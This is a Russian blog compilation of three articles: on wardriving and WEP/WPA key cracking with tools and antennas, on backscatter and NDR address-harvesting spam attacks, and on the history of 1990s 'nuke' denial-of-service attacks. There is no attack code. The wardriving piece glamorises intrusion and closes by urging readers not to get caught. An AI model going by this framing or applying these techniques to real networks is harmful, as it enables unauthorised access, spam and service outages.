Записи с меткой «обман»

интернетконецформыначалоформыРазберемся, что такое вардрайвинг (wardriving) и с чем его необходимо употреблять
Немногие знают, что такое вардрайвинг, хотя он существует давно. В отличие от привычных способов взлома, научиться вардрайвингу намного проще, так как для него не требуются специфические знания дизассемблирования, необходимые при взломе программ. Тем не менее, профессиональных вардрайверов единицы, и те шифруются. В этом номере мы приоткроем занавес и расскажем о вардрайвинге.
Что такое вардрайвинг
Вардрайвингом (англ. wardriving – дословно “военное вождение” или “война на колесах”) называется охота на точки доступа Wi-Fi (никаких зверей при этом убивать не нужно), на те самые точки доступа, которые предназначены для беспроводного подключения к локальной сети или интернету. Цель вардрайвера – найти чужую точку и захватить контроль над ней. Реально вардрайвинг зародился в 50-х годах прошлого века (он еще назывался охотой на лис) и представлял собой вполне легальный вид радиоспорта с четко установленными правилами и международными состязаниями. На пересеченной местности в укромной норе закладывался радиопередатчик, периодически издающий сигналы (лиса), а спортсмены, вооруженные приемниками с направленной антенной, должны были найти ее. С началом перестройки все это умерло. Теперь никому не интересно корпеть над паяльником, изобретая все новые и новые технические решения, и скакать, как козел :) . Современное поколение предпочитает охотиться на добычу попроще, используя полностью готовое оборудование и программное обеспечение.
Разработчики vs. Вардрайверы
Стандартный 64-битный ключ шифрования легко взламывается лобовым перебором. Учитывая, что фактическая длина секретного ключа составляет всего лишь 40 бит, в среднем достаточно перебрать 549.755.813.888 комбинаций. При скорости перебора в сотню миллионов ключей в секунду (посильная скорость для современных процессоров) атака займет час-полтора. Злоумышленнику достаточно перехватить один зашифрованный пакет, а затем терзать его до тех пор, пока контрольная сумма расшифрованного пакета не совпадет с ICV. Стучаться на точку доступа при этом совершенно не обязательно. А с учетом существования четырех секретных ключей, продолжительность полного цикла перебора несколько возрастает, однако не столь радикально.
Для предотвращения лобовой атаки производители беспроводного оборудования увеличили длину секретной части ключа до 104 бит, попутно породив проблему обратной совместимости. Добавь сюда 24 бита вектора инициализации и получишь так называемое 128-битное шифрование. Подобрать 104-битный ключ вслепую уже нереально: при прежней скорости перебора в среднем на это уходит 2.817.001.333.840.509.768.000 часов, или 3.215.754.947.306.518 веков, что значительно превышает не только оставшееся время существования Солнца, но и Вселенной в целом :) . Однако хакерам удалось найти более короткий путь, сократив время взлома в миллиарды раз.
В августе 2001 года три криптоаналитика (Scott Fluhrer, Itsik Mantin и Adi Shamir) опубликовали свою подрывную статью “Слабые места алгоритма распределения ключей RC4″ (”Weaknesses in the Key Scheduling Algorithm of RC4″), которая мгновенно стала знаменитой и определила название всего семейства атак этого типа, – FMS-attack (по первым буквам фамилий первооткрывателей Fluhrer-Mantin-Shamir). Они обнаружили существование крупных классов слабых (weak) ключей, в которых крошечная часть битов ключа оказывает значительное влияние на зашифрованные данные. Поскольку в формировании эффективного ключа участвует вектор инициализации, генерируемый произвольным образом, в общий шифропоток неизбежно попадает некоторое количество слабых ключей. Собрав достаточный объем трафика, злоумышленник отбирает пакеты, зашифрованные слабыми ключами (такие пакеты называются слабыми или интересными). Каждый слабый пакет с 5% степенью вероятности восстанавливает один байт секретного ключа, поэтому общее количество пакетов, которые атакующий должен собрать для реализации атаки, в первую очередь зависит от степени его везучести. В среднем для взлома требуется порядка шести миллионов зашифрованных пакетов. В зависимости от интенсивности трафика и пропускной способности канала, на это уходит от нескольких часов до нескольких дней, хотя в некоторых случаях атака успешно заканчивается уже через несколько минут. И это при 104-битном ключе! Так работает AirSnort и многие другие хакерские утилиты, которые любой злоумышленник может свободно скачать из Сети.
Если обмен данными между легальными клиентами и точкой доступа незначителен или практически отсутствует, злоумышленник может заставить жертву генерировать большое количество трафика, даже не зная секретного ключа. Достаточно просто перехватить правильный пакет и, не расшифровывая, ретранслировать его вновь. ARP-запрос вызовет неизбежный ARP-ответ. Отличить APR-запросы от всех остальных пакетов очень просто: frame.pkt_len == 68 и wlan.da == FF:FF:FF:FF:FF:FF. Обычно для передачи запросов используется отдельная WLAN-карта (при этом расстояние между антеннами приемной и передающей карт должно составлять, по меньшей мере, 15 сантиметров), хотя некоторые карты ухитряются перехватывать трафик и одновременно с этим бомбардировать жертву пакетами.
Хакеры лаборатории H1kari of Dasb0den Labs усилили FMS-алгоритм, сократив количество необходимых пакетов с шести миллионов до 500 тысяч. А в некоторых случаях 40/104-битный ключ взламывается всего с тремя тысячами пакетов, что позволяет атаковать даже домашние точки доступа, не напрягая их избыточным трафиком. Усиленный алгоритм атаки реализован в утилите dwepcrack, входящей в состав пакета BSD-airtools, а также в другом хакерском инструментарии.
Разработчики оборудования отреагировали вполне адекватным образом, изменив алгоритм генерации векторов инициализации так, чтобы слабые ключи уже не возникали. Даже dwepcrack’у требовалось перехватить свыше 10 миллионов пакетов, но даже в этом случае успешная расшифровка ключа не гарантирована. Устройства, выпущенные после 2002-2003 года, скорее всего, уже защищены от FMS-атаки, а более древние модели решают эту проблему обновлением прошивки (правда, не все производители выпустили такое обновление). Но даже сегодня, в середине 2005 года, в эксплуатации находится множество уязвимых устройств, особенно на периферии, куда уходят все нереализованные складские запасы. Тем не менее, ситуация сложилась так, что хакерам пришлось искать новые пути для атак.
В августе 2004 года хакер по имени KoreK продемонстрировал исходный код нового криптоанализатора, взламывающего даже сильные векторы инициализации. Для восстановления 40-битного ключа ему требовалось всего 200 000 пакетов с уникальными векторами инициализации, а для 104-битного – 500 тысяч. Количество пакетов с уникальными векторами в среднем составляет порядка 95% от общего количества зашифрованных пакетов, так что для восстановления ключа атакующему потребуется совсем немного времени. Данный алгоритм реализован в chopper’е, aircrack’е, WepLab’е и других хакерских утилитах.
В новом оборудовании, построенном по технологии WPA – Wi-Fi Protected Access (защищенный Wi-Fi-доступ), вновь была усилена защищенность беспроводных устройств. На место WEP пришел TKIP (Temporal Key Integrity Protocol – протокол краткосрочной целостности ключей), генерирующий динамические ключи, сменяющие друг друга с небольшим интервалом времени. Для совместимости с существующим оборудованием TKIP использует тот же самый потоковый алгоритм шифрования, что и WEP, – RC4, но в каждый зашифрованный пакет теперь укладывается специальный 8-байтный код целостности сообщения, рассчитанный по алгоритму Michael и предотвращающий ретрансляцию подложных пакетов. Процедура аутентификации осуществляется по протоколу EAP (Extensible Authentication Protocol – расширенный протокол аутентификации), который использует либо а) RADIUS-сервер (Remote Authentication Dial-In User Service – служба дистанционной аутентификации пользователей по коммутируемым линиям); либо б) предустановленный общий ключ PSK (pre-shared key). В процессе аутентификации сервер генерирует парный мастер-ключ (PMK – Pairwise Master Key) и передает его клиенту. Несмотря на относительную новизну этой технологии, в комплект airckrack’a уже входит специальный модуль WZCOOK, отображающий PMK-ключ :) . Для несанкционированного подключения к точке доступа, защищенной технологией WPA, этого оказалось вполне достаточно. Впрочем, атакующий модуль недостаточно отлажен и в некоторых случаях не срабатывает.
Стандарт IEEE 802.11i описывает более продвинутую систему безопасности (известна под именем WPA2), основанную на криптоалгоритме AES. Готовых утилит для ее взлома в открытом виде пока не наблюдается, так что с этой технологией можно чувствовать себя в безопасности. По крайней мере, какое-то время она продержится :) . Обладателям устаревшего оборудования настоятельно рекомендуем пробить VPN-тоннели (Virtual Private Network – виртуальная частная сеть), задействовать SSL-шифрование или подключить любые другие способы защиты, изначально ориентированные на небезопасные каналы передачи данных.
Вардрайвинг – не совсем взлом
Вардрайвинг – это не обязательно “взлом”. Часто атакующий ограничивается тем, что находит открытую точку доступа, но не подключается к ней. Во-вторых, вардрайвинг ни внешне, ни внутренне не похож на дизассемблирование защищенных программ или написание вирусов. Это делает занятие вардрайвингом непохожим на другие способы взлома в привычном для нас понимании. В вардрайвинге намного больше романтики, чем, например, в сексе с отладчиком :) . С другой стороны, если ломать программы умеют единицы, то стать классным вардрайвером сможет практически любой.
Кто занимается вардрайвингом
Вардрайвингом занимаются в основном романтики :) , хотя отмечены единичные случаи хищения кредитных карт и другой конфиденциальной информации через WLAN. У вардрайвера вряд ли может возникнуть много амбиций, скорее, азарт и сладострастное чувство, что ты кого-то поимел. Подавляющее большинство атакующих действуют без злого умысла, воспринимая это как шалость или интеллектуальную игру. Но встречаются и настоящие охотники за чужим трафиком, из которого можно извлечь различную конфиденциальную информацию (пароли на почтовые ящики, номера кредитных карт и т.д.), и просто желающие подключиться к интернету за чужой счет.
Кто-то вардрайвит за деньги, но таких немного. Даже в Штатах точки доступа еще не распространены настолько, чтобы на их взломе было возможно добывать пропитание. Тех, кто конструирует уникальное железо, – единицы. Тех, кто пишет софт, – десятки. Сотни или даже тысячи пользуются готовым железом/софтом, а еще больше тех, кто просто интересуется этим занятиям, но не рискует вардрайвить на практике. Мы относимся к последним :) .
Использование готового снаряжения не требует теоретической подготовки, выходящей за рамки навыков владения мышью, зато физическая подготовка весьма желательна, так как вычисленных вардрайверов в нашей стране практически никогда не передают в прокуратуру – только “братков” к ним посылают.
Источник информации для вардрайверов – форумы, в которых можно найти и свежие хакерские программы, и хитрые приемы взлома, и все остальное. Эрудиции продвинутого пользователя будет вполне достаточно. Но для написания атакующего софта требуется глубокая теоретическая подготовка и интуиция. Над проблемой взлома корпят не только программисты, но и криптографы, причем последние обычно работают на легальной основе и публикуют свои научные труды, которые уже переваривают программисты.
Инструменты вардрайвера
Если говорить об оснащении вардрайвера, то, как правило, это карманный компьютер или ноутбук, снабженный WLAN-картой на основе чипсета Prism (его поддерживает подавляющее большинство программ), внешней антенной (обычно направленного типа) и соответствующим ПО. Добротная антенна направленного типа, снабженная усилителем мощности, уверенно держит связь на расстояниях до 1,5-2 км, а в некоторых случаях и больше.
Такую антенну вместе с усилителем можно купить совершенно легально. Их выпускает Hyper Technology, Broadcast Warehouse, “Радиал” и многие другие компании. Среди хакеров большой популярностью пользуется направленная антенна HG2415Y типа Radome-Enclosed (компания HyperLink Technology), которую можно заказать по интернету. Рассчитанная на стационарный монтаж, она, тем не менее, неплохо чувствует себя на фотографическом штативе или даже на обыкновенном ружейном прикладе, превращающем ее в мобильный инструмент для слежения за подвижными жертвами. Параболические антенны действуют на расстояниях, ограниченные, фактически, лишь горизонтом видимости, но они катастрофически немобильны, а для хакера самое главное – вовремя смотаться с места взлома. В общем, для вардрайвинга подходит практически любая антенна направленного типа на 2,4 ГГц (она же антенна стандарта IEEE 802.11b/802.11g или WLAN).
Из программного обеспечения понадобятся: сканер, снифер и взломщик паролей. Их можно найти практически под любую платформу. На Pocket PC обычно используется связка MiniStumbler/Sniffer Portable/Airscanner Mobile. MiniStumbler обнаруживает присутствие сети в данной точке, измеряет интенсивность сигнала, отображает SSID/MAC-адреса и определяет, задействовано WEP-шифрование или нет. Sniffer Portable и Airscanner Mobile грабят все пролетающие мимо пакеты и записывают их в файл, который затем переносится на ноутбук или настольный ПК и пропускается через взломщик паролей (процессорных ресурсов карманного компьютера для взлома паролей за разумное время пока недостаточно).
Распространенный снифер под Linux и BSD – Kismet, изначально ориентированный на исследовательские цели. Он поддерживает массу оборудования и беспроводных протоколов, удобен в использовании и к тому же абсолютно бесплатен. Перехватывает сетевой трафик, показывает SSID- и MAC-адреса, подсчитывает количество пакетов со слабыми векторами инициализации и т.д. Из взломщиков паролей в последнее время реально работают только aircrack и WepLap, причем первый работает значительно лучше.
Под Windows перехват беспроводного трафика реализуется гораздо сложнее, и кроме снифера потребуются модифицированные версии драйверов для WLAN-карты. Из коммерческих сниферов можно порекомендовать Airopeek, из некоммерческих – утилиту airdump (входит в состав aircrack, портирована под Windows). Еще можно использовать Sniffer Pro.
На Mac’ах весь хакерский инструментарий собран в одном флаконе – утилита KisMAC, настолько простая, что ей сможет пользоваться даже ребенок. Здесь есть и сетевой сканер, и снифер, и парольный переборщик (brute force), и криптоанализатор слабых векторов инициализации. Предусмотрена даже такая мелочь, как планировщик, позволяющий осуществлять атаки по расписанию :) .
Как охотиться
Можно, например, просканировать периметр своего обитания, поднявшись на балкон и вооружившись параболической антенной на 2,4 ГГц. Представь: сидишь себе в засаде, пьешь пиво, сканируешь периметр и ждешь, когда жертва попадет в силки. Через неделю, максимум через две, оперативная обстановка будет изучена, и что тогда? А тогда карманный компьютер или ноутбук – и вперед на колеса. Если колес нет, вполне подойдет троллейбус или трамвай. Они и внимания меньше привлекают, и за дорогой следить не надо.
На Западе и у нас
Конечно, западные и азиатские тусовки более многочисленны и продвинуты. У нас, несмотря на мягкий климат никем не соблюдаемых законов, вардрайвинг распространяется довольно сдержанно. Отчасти это объясняется апатичностью отечественной публики, отчасти ориентацией не на процесс, а на результат.
Каждый оценивает крутость вардрайвера по-своему. Настоящие профи шифруются и молчат. Этап самоутверждения у них остался позади, зато иметь проблемы с законом или “братками” им неохота. Они посещают тематические форумы, но практически не оставляют сообщений. В самых жарких дискуссиях, как правило, участвуют новички, соревнующиеся, “кто больше взломает”.
А что с безнаказанностью? Да у нас вообще высокий уровень преступности. Суды переполнены намного более важными делами, чем какой-то там вардрайвинг, а сотрудники милиции заняты вопросами собственного пропитания. Но даже честный следователь не может начать дело, пока не будет заявления от истца и каких-нибудь доказательств. В практическом плане для истца это означает постоянные повестки в суд, длительные разбирательства по поводу наличия всех сертификатов, комплекса охранных мер и т.д. На Западе такие шалости не проходят и уже есть реальный пример того, как засудили вардрайвера.
Сомнительная мобильность
Может показаться, что вардрайвинг безопаснее банального стационарного взлома, так как сам вардрайвер становится мобильнее и его сложнее вычислить физически. Напротив. Стационарный взлом через цепочку надежных прокси или сотовый телефон, купленный с рук, а после звездного часа закатанный в асфальт, вполне безопасен, и хакера обычно вяжут уже на продаже ворованной информации. Вардрайвер привлекает больше внимания. Вокруг респектабельных зданий полно камер, фиксирующих номера машин, и простых охранников хватает, а у них на эти вещи глаз наметан. Так что мобильность мобильностью, а питать иллюзий на этот счет не стоит.
Вардрайвинг – охота на точки доступа Wi-Fi и получение контроля над ними.
Вардрайвингом занимаются скорее для спортивного интереса, чем для получения ценной информации. Иногда и просто ради халявного доступа в интернет.
Пока еще не научились ломать стандарт IEEE 802.11i. Но долго ли он продержится?
Для вардрайвинга, по сути, нужны только ноутбук, направленная антенна и специальный софт.
Направленные антенны продаются совершенно легально.
Вряд ли тебя посадят за вардрайверство, но могут серьезно “наехать”.
That’s all, Folks! ^_^ Если кто-то будет этим заниматься, то удачи вам всем!:))
И ещё… Всё нужно делать с умом, чтобы вас не поймали!!!

интернетСреди множества хитроумных трюков, применяемых спаме-
рами (и хакерами), NDR-атаки имеют особое место, пос-
кольку они основаны на фундаментальных спецификациях,
описывающих работу протокола SMTP (Simple Mail Transfer
Protocol — Простой протокол доставки почты). Пусть слово «простой»
не вводит тебя в заблуждение. SMTP — основной протокол, прямых
конкурентов у которого нет и, по-видимому, уже не будет (IMAP4 можно не
брать в расчет, это все-таки экзотика, а SMTP — «рабочая лошадка»).
RFC, SMTP, NDR
Свое название NDR-атаки получили по первым буквам выражения
Non-Delivery Report (отчет о недоставке почты). Всякий раз, когда SMTP-
сервер не может доставить письмо (скажем, по причине отсутствия
указанного адреса), он возвращает сообщение об ошибке с кодом 5xx,
которое может выглядеть, например, так: «550 5.7.1 Unable to relay for
kk@sendmail.ru», после чего разрывает TCP/IP-соединение. Однако
сервер может и принять сообщение, отложить его в очередь, оповещая
отправителя положительным кодом завершения операции (250).
Когда же в процессе обработки письма выяснится, что доставлять его
некому, сервер, как порядочный гражданин, возвратит письмо адресату
с объяснением причины невозможности доставки (здесь уместно
провести аналогию с «улиточной» почтой). Вот это самое уведомление
и называется Non-Delivery Report, или сокращенно NDR. Теоретически
формат отчета специфицирован в RFC-3464 (An Extensible Message
Format for Delivery Status Notifications — Открытый формат сообщений,
уведомляющих о статусе доставки), однако в реальной жизни он варьи-
руется в весьма широких пределах. Одни серверы помещают исходную
копию письма во вложение, а сам отчет (составленный, как правило, на
английском языке) кладут в основное тело сообщения. Другие же в целях
экономии трафика отправляют только отчет, добавляя к нему короткий
фрагмент исходного письма, включающий как минимум заголовок и не-
сколько первых строк (чтобы отправитель мог разобраться, какое именно
письмо «пострадало»).
В общем, уведомления о недоставке — стандартная и внешне вполне
безобидная фича, реализованная еще в незапамятные времена. Каза-
лось бы, ну чем она может быть полезна хакерам? Однако с ней связано
целых две атаки: использование SMTP-сервера в качестве proxy (bounce
message или backscatter-attack) и поиск валидных адресов (trial-n-error
attack).
Backscatter-attack
Термин backscatter перекочевал в хакерскую среду из физики, где он
означает отклонение волн от исходной траектории по тем или иным причинам. Применительно к SMTP-серверам backscatter
«символизирует» процесс отскока или отбивания посланного сообщения.
Такая атака также часто называется bounce message attack.
Один из крупнейших дефектов SMTP-протокола заключается в отсутствии
штатных механизмов проверки аутентичности обратного адреса отпра-
вителя сообщения. Сервер всецело полагается на адрес, оставленный
отправителем в поле «MAIL FROM:», не делая никаких попыток его про-
верки, а потому злоумышленник может запросто подставить любой адрес,
какой ему вздумается, и именно туда сервер возвратит сообщение при не-
возможности его доставки конечному получателю. Что делает злоумыш-
ленник? Он берет адрес жертвы, прописывает его в поле «MAIL FROM:», а
в поле «RCPT TO:» подставляет координаты заведомо несуществующего
получателя. Если сервер не является ретранслятором (также называемым
релеем — от английского relay), то есть берется за доставку корреспонден-
ции лишь своим локальным адресатам, то он с вероятностью, близкой к
единице, отобьет сообщение еще на стадии заполнения поля «RCPT TO:»
и атака не состоится. Впрочем, некоторые серверы, в частности MicrosoftExchange Server, имеют довольно дурную систему поиска имен и зачастую
принимают сообщения до проверки пользователя на существование.
Что же касается ретрансляторов (к которым де-факто принадлежат все
публичные серверы, такие, например, как mail.ru), то они вообще не в со-
стоянии определить существование нелокальных пользователей и потому
принимают все письма без разбора. Лишь потом, в случае невозможности
доставки, они посылают отправителю (или, точнее говоря, тому лицу, чей
адрес указан в поле «MAIL FROM:») соответствующее уведомление.
Ну и как это можно использовать для атаки? И тем более для спама? Ведьрассылка уведомлений по множественным адресам запрещена, и потому
атакующему для отправки N писем размером в K мегабайт придется
израсходовать N*K мегабайт своего трафика. А это ровно столько, сколько
тратится при так называемой директивной рассылке, когда атакую-
щий вообще не прибегает к услугам промежуточных SMTP-серверов, а
связывается с каждым получателем напрямую и кладет в его почтовый
ящик конверт со спамом (или с вирусом — неважно). Потому-то хакеры и
стремятся использовать открытые ретрансляторы, допускающие задание
в поле «RCPT TO:» множества адресатов. В идеале (если количество
адресов неограничено) атакующий тратит лишь K мегабайт собственного
трафика, остальные же почтовый сервер оплачивает из своего кармана.
Однако с каждым днем находить открытые ретрансляторы становится все
труднее и труднее. Практически все почтовые серверы устанавливают
жесткие лимиты на максимальное количество сообщений, передаваемых
в единицу времени, и либо вообще запрещают множественную рассылку,
либо соглашаются доставлять письмо ограниченному числу получателей
(как правило, не более шести).
Стоп! А зачем атакующему нужны открытые ретрансляторы, если широкие DSL-каналы сегодня не роскошь, а средство передвижения? К тому же
исходящий трафик обычно либо совсем бесплатный, либо тарифици-
руется по весьма льготным ценам. Сегодня каждый может позволить
себе арендовать канал, о котором вчера добрая половина провайдеров
не могла и мечтать! Кажется, что в сложившихся условиях директивная
рассылка должна стать основным орудием спамеров, но…
В том-то и дело, что при практической реализации атаки сразу же всплы-
вает множество «но». Большинство корпоративных (да и публичных)
серверов попросту не примет письмо неизвестно от кого. Поэтому как
минимум потребуется обзавестись доменным именем третьего уровня и
воздвигнуть собственный почтовый сервер (хотя бы чисто формальный).
А для этого уже желательно иметь статический IP, хотя доменное имя
третьего уровня можно бесплатно зарегистрировать и на динамическом.
В результате некоторых манипуляций мы добились того, что почтовые
серверы начинают принимать от нас корреспонденцию. Но стоит только
начать рассылать спам, как уже через несколько часов атака потухнет,
как бычок в писсуаре. Используя распределенные черные списки (они
же блэк-листы), почтовые серверы очень быстро заблокируют наш IP-
адрес (а то и всю подсеть). В случае статического адреса это еще ничего
(моя селедка, что хочу с ней, то и делаю), а вот блокировка динамичес-
кого IP (или всей подсети) создает огромные проблемы для провайдера,
который тут же отключает хакера. Вот так со всего маху и отключает. Пря-
мым ударом. В челюсть. Ведь попасть в черные списки намного проще,
чем выбраться оттуда, да и процедура «реабилитации» обычно далеко
не бесплатна. А количество провайдеров (даже в крупном городе) хоть и
велико, но все-таки ограничено.
Короче, директивная рассылка оправдывает себя только на ботнетах
— пишем червя, заражаем несколько десятков тысяч машин и ре-
транслируем письма их руками. Но ведь ботнет еще создать нужно! К
тому же, в отличие от спама (юридический статус которого до сих пор
не определен), это уже является довольно серьезным правонаруше-
нием, особенно если в число зараженных узлов попадут компьютеры
различных секретных ведомств. В таких случаях пощады ждать, как
правило, не приходится и приговор оказывается очень суров, а суди-
мость (пускай даже условная) — это все-таки судимость, существенно
ограничивающая гражданина в правах.
И тут на помощь спамерам приходят backscatter-атаки. Злоумышленник,
используя различные SMTP-серверы, рассылает корреспонденцию,
подставляя адрес получателя в поле «MAIL FROM:» и указывая заведомо
несуществующего пользователя в поле «RCPT TO:». Несмотря на то что
подлинный IP-адрес спамера остается в заголовке письма (помещаемо-
го сервером во вложение или в основное тело сообщения), существую-
щие фильтры не настолько интеллектуальны, чтобы достать его оттуда,
и потому заносят в черный список IP почтового сервера, рассылающего
уведомления о невозможности доставки сообщений. Поскольку таких
серверов очень много (данным условиям отвечает практически любой SMTP-сервер, даже не являющийся ретранслятором), они не кончатся
никогда, и на недостаток в них спамер навряд ли сможем пожаловаться.
А вот для владельцев самих атакованных серверов настанут мрачные
деньки, и им придется совершить нехилые телодвижения, доказывая,
что никакого спама они не рассылали!
Как защититься от подобных атак? Нет ничего проще! Достаточно
как следует покопаться в настройках сервера. Прежде всего, следует
включать в отчет о недоставке только фрагмент исходного сообще-
ния (заголовок плюс пара-тройка строк), что сделает его совершенно
бесполезным для спамеров, и они потеряют к нему всякий интерес. Если
же это невозможно (например, сервер не поддерживает таких настроек),
задействуй режим замедления SMTP-ответов, установив задержку в
несколько секунд для неавторизованных пользователей. Конечно, это
слегка замедлит производительность сервера, но… что поделаешь!
Между «скорострельностью» и безопасностью приходится выбирать
что-то одно.
Trial-n-error attack
Спамеры заинтересованы в отправке сообщений только на действу-
ющие адреса, и уведомления о недоставке тут приходятся как нельзя
кстати. В частности, ошибка типа «mailbox is full» говорит, что получа-
тель, скорее всего, забил на этот ящик и уже давно его не использует,
а потому он заполнен до предела. Но это мелочи. Главная проблема
спамеров — сбор адресов. Для их поиска разрабатываются хитроумные
программы-харвестеры (от английского harvester — «собиратель»),
блуждающие по просторам Сети и анализирующие web-странички, а
также проникающие на уязвимые узлы и сканирующие адресную книгу.
Однако пользователи не дураки. Свою основную мыльницу на форумах
уже давно никто не оставляет, а бесплатные ящики, создаваемые на
короткое время на серверах типа mail.ru, спамерам не очень интересны,
да и фильтры там стоят достаточно мощные.
Наибольший доход приносит рассылка по корпоративным адресам. Вот
только как эти самые адреса найти? А почему бы не воспользоваться
перебором по словарю? А что! Пользователи склонны выбирать короткие
и легко запоминающиеся адреса, как правило, состоящие из имени (с
добавленным к нему годом, когда такое имя уже кем-то занято), попу-
лярных слов типа mafia, hacker, supermen или инициалов в стиле kk, что
расшифровывается как Kris Kaspersky. Когда-то у меня был такой адрес
на sendmail’е. Спаму туда сыпалось огромное количество. Чуть меньше
доставалось n2k, зарегистрированному на том же сервере. Четырехсим-
вольный алиас kpnc чувствовал себя довольно уверенно — спаму туда
приходило относительно немного, но все-таки значительно больше,
чем на kris.kaspersky. Отсюда вывод: любые короткие имена (неваж-
но, словарные они или нет) легко находятся тривиальным подбором.
Атакующий просто отправляет большое количество писем, перебирая
различные буквенно-цифровые комбинации, и ловит NDR-уведомления от почтового сервера. Несуществующие адреса отметаются
сразу, а вот на остальные направляется стабильный поток
незапрошенной корреспонденции. Для экономии трафика
тело тестового письма обычно содержит минимум символов
и зачастую просто состоит из нескольких байт.
Исследование, проведенное автором этой статьи, показало,
что одно-, двух- и трехсимвольные комбинации представ-
лены на популярных почтовых серверах достаточно полно
и покрывают около двух десятков тысяч действующих
адресов. Причем, в отличие от адресов, почерпнутых из спа-
мерских баз (за которые еще платить надо), короткие имена
намного медленнее устаревают, поскольку их владельцам
жалко с ними расставаться. Даже если они выберут другое
короткое имя — ну и что с того? Оно также будет найдено
методом перебора.
Четырехсимвольные имена перебирать труднее, посколь-
ку из двух миллионов комбинаций реально используется
жалкая сотня тысяч или даже и того меньше. К тому же от-
правка двух миллионов писем — процедура нетривиальная,
привлекающая к себе внимание. Рассылка начнет давиться
фильтрами задолго до того, как спамер успеет пожать плоды
своих трудов. Пятисимвольные имена лобовым перебором
уже не находятся в принципе, точнее, находятся, конечно,
но… смысл? Разослать сто миллионов писем, чтобы собрать
ту же сотню тысяч адресов?
Другое мощное оружие — перебор по словарю. Кстати го-
воря, принятая система раздачи адресов в корпорациях (по
имени и/или фамилии сотрудников) этому только способс-
твует, поскольку, во-первых, существуют словари имен и фа-
милий. Во-вторых, даже если какая-то конкретная фамилия
в таком словаре отсутствует (например, Вуглускреб), то она
все равно содержит предсказуемые корни и подчиняется
правилам чередования гласных и согласных, что сущест-
венно ограничивает перебор.
Короткий лингвистический ликбез. Большинство русских (и
японских) имен содержит одинаковое количество попе-
ременно чередующихся гласных и согласных (Таня, Маня,
Мазепа, Иванов, Сидоров). Имена, включающие в себя
несколько подряд идущих гласных, также широко распро-
странены, но сочетаний подряд идущих согласных очень
и очень немного, причем в различных языках они разные.
Мы с трудом выговариваем сочетание th, в то время как
американцы приходят в ужас от слова «защищающиеся»
(попытайся записать его латиницей, и пусть тебя охватит
гордость за наш язык :) ).
Естественно, все, что известно лингвистам, известно и
хакерам (тем более что об этом можно прочесть в любом лин-
гвистическом учебнике, там же даны и таблицы распространенности различных сочетаний звуков и букв). Учитывая,
что гласных в латинском алфавите только шесть, нетрудно
подсчитать, сколько наберется «осмысленных» имен,
сгенерированных с учетом лингвистических особеннос-
тей (простейшие генераторы, которые легко найти в Сети,
исходят из предположения, что гласных и согласных должно
быть поровну). Более сложные программы, использующие
замороченные психофизические модели, как правило,
распространяются за деньги, однако и те и другие дают
поразительный результат и эффективно находят даже девя-
тисимвольные имена, разумеется, без учета словаря.
Как вариант — можно использовать словарь и программу-
модификатор, переставляющую буквы местами, записыва-
ющую «O» как ноль, «l» как единицу, набирающую русские
имена латинскими буквами с учетом их расположения на
клавиатуре: Марина — Vfhbyf и т.д.
Короче говоря, даже если нигде не светить свое мыло,
настырные спамеры его все равно найдут (исключение
составляют длинные — свыше пяти-шести символов
— имена, состоящие из одних согласных букв, цифр и спец-
символов). Можно ли защититься от подобных атак? На
уровне почтового сервера — можно. Достаточно генериро-
вать сообщение о недоставке в ответ на все подозритель-
ные сообщения и даже на все сообщения с неизвестным
адресатом (то есть таким адресатом, которому получатель
сообщения ранее не отправлял никакой корреспонден-
ции). Практика показывает, что честные пользователи
сразу (или через некоторое время) повторяют попытку
отправки вновь, в то время как спамеры тут же заносят
такой адрес в список несуществующих. Кстати говоря,
поскольку спамеры анализируют уведомления о недостав-
ке не вручную, а с помощью программ, выдирающих из тела
письма код ошибки, то имеет смысл добавить в уведомле-
ние русский текст, предлагающий пользователю отправить
сообщение еще раз, чтобы тот зря не нервничал, полагая,
что ошибся адресом.

интернетконецформыначалоформыСловом Nuke (ньюк) называют сегодня любую атаку на порты удаленных компьютеров, приводящую к краху операционной системы или разрыву интернет-соединения. Nuke не нарушает состояние файловой системы и не рушит “железо” компьютера. Перезагрузившись, пользователь может продолжить работу в Сети. Все началось с атаки, исходный код которой на языке С назывался nuke.c. Атака не получила широкого распространения, так как могла работать только на UNIX системах с правами root. Идея nuke.c заключалась в том, что она отсылала неправильные (invalid) ICMP пакеты, и машина-хост теряла связь.
В январе 1997 появилась атака под названием Ping o’ Death, и 18 распространенных операционныхсистем оказались к ней весьма чувствительны. Ping o’ Death основана на отсылке более 65 507 байтов данных. Так как большинство систем не собирают все пакеты до того, как получат их полностью, то при определенных ухищрениях можно добиться эффектного результата – полученные данные просто не уместятся в 16-битной внутренней переменной, возникает неустранимая ошибка и рушится операционная система. Но, пожалуй, первой широко известной атакой стала Out Of Band (WinNuke).
7 июня 1997 г. некто по имени “_eci” впервые опубликовал в Сети исходный код реализующей ее программы.
В течение 15 дней, что специалисты из Мicrosoft устраняли эту дыру, в Интернете росла эпидемия синих экранов. Не угасла она и до сих пор, поскольку далеко не каждый пользователь удосужился “залатать дыры” своей операционки. Атака Out Of Band (OOB) основана на том, что 139 порт Win95 (135 порт WinNT) не закрыт для постороннего вторжения, поэтому, отослав на этот порт пакет данных с флагом заголовка OOB, можно спровоцировать зависание операционной системы и появление синего экрана. Не успели утихнуть разговоры по поводу OOB, как появилась новая напасть под названием Ssping (Jolt). При этой атаке в адрес хоста отсылаются поддельные TCP/IP пакеты, что приводит к замедлению работы или разрыву связи. Эта атака не была столь летальной, как OOB, но тоже смогла доставить немало неприятностей.
В начале июля 1997 года на арену вышла Fragmentation Attack (Teardrop), основанная на отсылке IP пакетов заведомо неправильной длины. Атакованный компьютер не может соединить эти пакеты и зависает.
В начале декабря 1997 года появилась атака под названием Land. Методы воздействия схожи с методами SSPing за одним маленьким исключением — программные заплатки, справлявшиеся с SSPing, оказались бессильны.
Январь 1998 года. Bonk и Bonik – модификации TearDrop, основанные на несформированной UDP информации заголовков IP пакетов. Уже к третьей декаде месяца Microsoft выпустила защищающие от этой атаки дополнения, но многие входящие в “группу риска” пользователи так и не удосужились эту “заплатку” установить. Расплатой за небрежность стала ночь со 2 на 3 марта 1998 года, когда неизвестный злоумышленник вывел из строя тысячи Windows-машин в США именно этой атакой. Среди пострадавших оказались NASA и Массачусетский технологический университет.
